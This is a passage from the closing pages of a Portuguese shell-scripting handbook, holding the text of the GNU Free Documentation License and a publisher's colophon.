formatters. A copy made in an otherwise Transparent file format whose markup has been designed to thwart or discourage subsequent modification by readers is not Transparent. A copy that is not "Transparent" is called "Opaque".Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standardconforming simple HTML designed for human modification. Opaque formats include PostScript, PDF, proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools  are not generally available,  and the machinegenerated HTML produced by some word processors for output purposes only.The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.2. VERBATIM COPYINGYou   may   copy   and   distribute   the   Document   in   any   medium,   either   commercially   or noncommercially, provided that this License, the copyright notices, and the license notice saying this  License applies   to   the  Document  are   reproduced  in  all  copies,  and   that  you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.You may also lend copies, under the same conditions stated above, and you may publicly display copies.3. COPYING IN QUANTITYIf  you publish printed copies of  the Document numbering more  than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: FrontCover Texts on the front cover, and BackCover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machinereadable Transparent copy along with each Opaque copy, or state in or with each  Opaque copy a  publiclyaccessible  computernetwork   location  containing a  complete Transparent copy of the Document, free of added material, which the general networkusing public has access to download anonymously at no charge using publicstandard network protocols. If you use   the   latter  option,  you  must   take   reasonably  prudent   steps,  when  you  begin  distribution  of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.It   is   requested,   but   not   required,   that   you   contact   the   authors   of   the   Document   well   before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.

Adbeel Goes Filho

Page 148: Apostila de Shell Script

   ShellScripts                                                                           148

4. MODIFICATIONSYou may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:A.Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.B.List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has less than five).C.State on the Title page the name of the publisher of the Modified Version, as the publisher.D.Preserve all the copyright notices of the Document.E.Add   an   appropriate   copyright   notice   for   your   modifications   adjacent   to   the   other   copyright notices.F.Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.G.Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.H.Include an unaltered copy of this License.I.Preserve the section entitled "History", and its title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.J.Preserve the network location, if any, given in the Document for public access to a Transparent copy of  the Document,  and likewise the network locations given in  the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at   least  four years before  the Document  itself,  or   if   the original publisher of the version it refers to gives permission.K.In any section entitled "Acknowledgements" or "Dedications", preserve the section's title, and preserve in the section all   the substance and tone of each of  the contributor acknowledgements and/or dedications given therein.L.Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.M.Delete any section entitled "Endorsements". Such a section may not be included in the Modified Version.N.N. Do not retitle any existing section as "Endorsements" or to conflict in title with any Invariant Section.O.If   the   Modified   Version   includes   new   frontmatter   sections   or   appendices   that   qualify   as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections   in   the Modified Version's   license notice.  These   titles  must  be  distinct   from any other 

Adbeel Goes Filho

Page 149: Apostila de Shell Script

   ShellScripts                                                                           149

section titles.You may add a section entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various partiesfor example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard. You may add a passage of up to five words as a FrontCover Text, and a passage of up to 25 words as a BackCover Text,   to  the end of  the list  of  Cover Texts  in  the Modified Version.  Only one passage of FrontCover Text and one of BackCover Text may be added by (or through arrangements made   by)   any   one   entity.   If   the   Document   already   includes   a   cover   text   for   the   same   cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.5. COMBINING DOCUMENTSYou may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice.The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.In   the   combination,   you  must   combine   any   sections   entitled   "History"   in   the  various  original documents,   forming   one   section   entitled   "History";   likewise   combine   any   sections   entitled "Acknowledgements", and any sections entitled "Dedications". You must delete all sections entitled "Endorsements."6. COLLECTIONS OF DOCUMENTSYou may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy  that   is   included  in   the  collection,  provided   that  you   follow  the   rules  of   this  License   for verbatim copying of each of the documents in all other respects.You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.7. AGGREGATION WITH INDEPENDENT WORKSA compilation of the Document or its derivatives with other separate and independent documents or works,  in or on a volume of a storage or distribution medium, does not as a whole count as a Modified   Version   of   the   Document,   provided   no   compilation   copyright   is   claimed   for   the compilation. Such a compilation is called an "aggregate", and this this License does not apply to the other   selfcontained  works   thus   compiled  with   the  Document,   on   account   of   their   being   thus compiled,   if   they   are   not   themselves   derivative   works   of   the   Document.   If   the   Cover   Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one quarter of the entire aggregate, the Document's Cover Texts may be placed on covers that surround only the Document within the aggregate. Otherwise they must appear on covers around the 

Adbeel Goes Filho

Page 150: Apostila de Shell Script

   ShellScripts                                                                           150

whole aggregate.8. TRANSLATIONTranslation is considered a kind of modification, so you may distribute translations of the Document under   the   terms   of   section   4.   Replacing   Invariant   Sections   with   translations   requires   especial permission from their copyright holders, but you may include translations of some or all Invariant Sections   in   addition   to   the   original   versions   of   these   Invariant   Sections.   You   may   include   a translation  of   this  License  provided   that   you  also   include   the  original  English  version  of   this License. In case of a disagreement between the translation and the original English version of this License, the original English version will prevail.9. TERMINATIONYou may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.10. FUTURE REVISIONS OF THIS LICENSEThe Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/. each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation. How to use this License for your documents.To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:

Copyright (c) YEAR YOUR NAME.Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free  Documentation  License,  Version  1.1  or   any   later  version  published  by   the  Free  Software Foundation; with the Invariant Sections being LIST THEIR TITLES, with the FrontCover Texts being LIST, and with the BackCover Texts being LIST.A copy of the license is included in the section entitled "GNU Free Documentation License". If you have no Invariant Sections, write "with no Invariant Sections" instead of saying which ones are invariant. If you have no FrontCover Texts, write "no FrontCover Texts" instead of "FrontCover Texts being LIST"; likewise for BackCover Texts.If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.

Adbeel Goes Filho

Page 151: Apostila de Shell Script

   ShellScripts                                                                           151

Adbeel Goes Filho

Este trabalho foi composto e editado eletronicamente no Núcleo de Informática da

VIRTVS Engenharia e Informática Ltda

Rua Cel. Ribeiro da Silva, 391. Monte Castelo. FortalezaCeará.

Telefone: 0 xx 85 32833124.

http://www.virtvs.com.br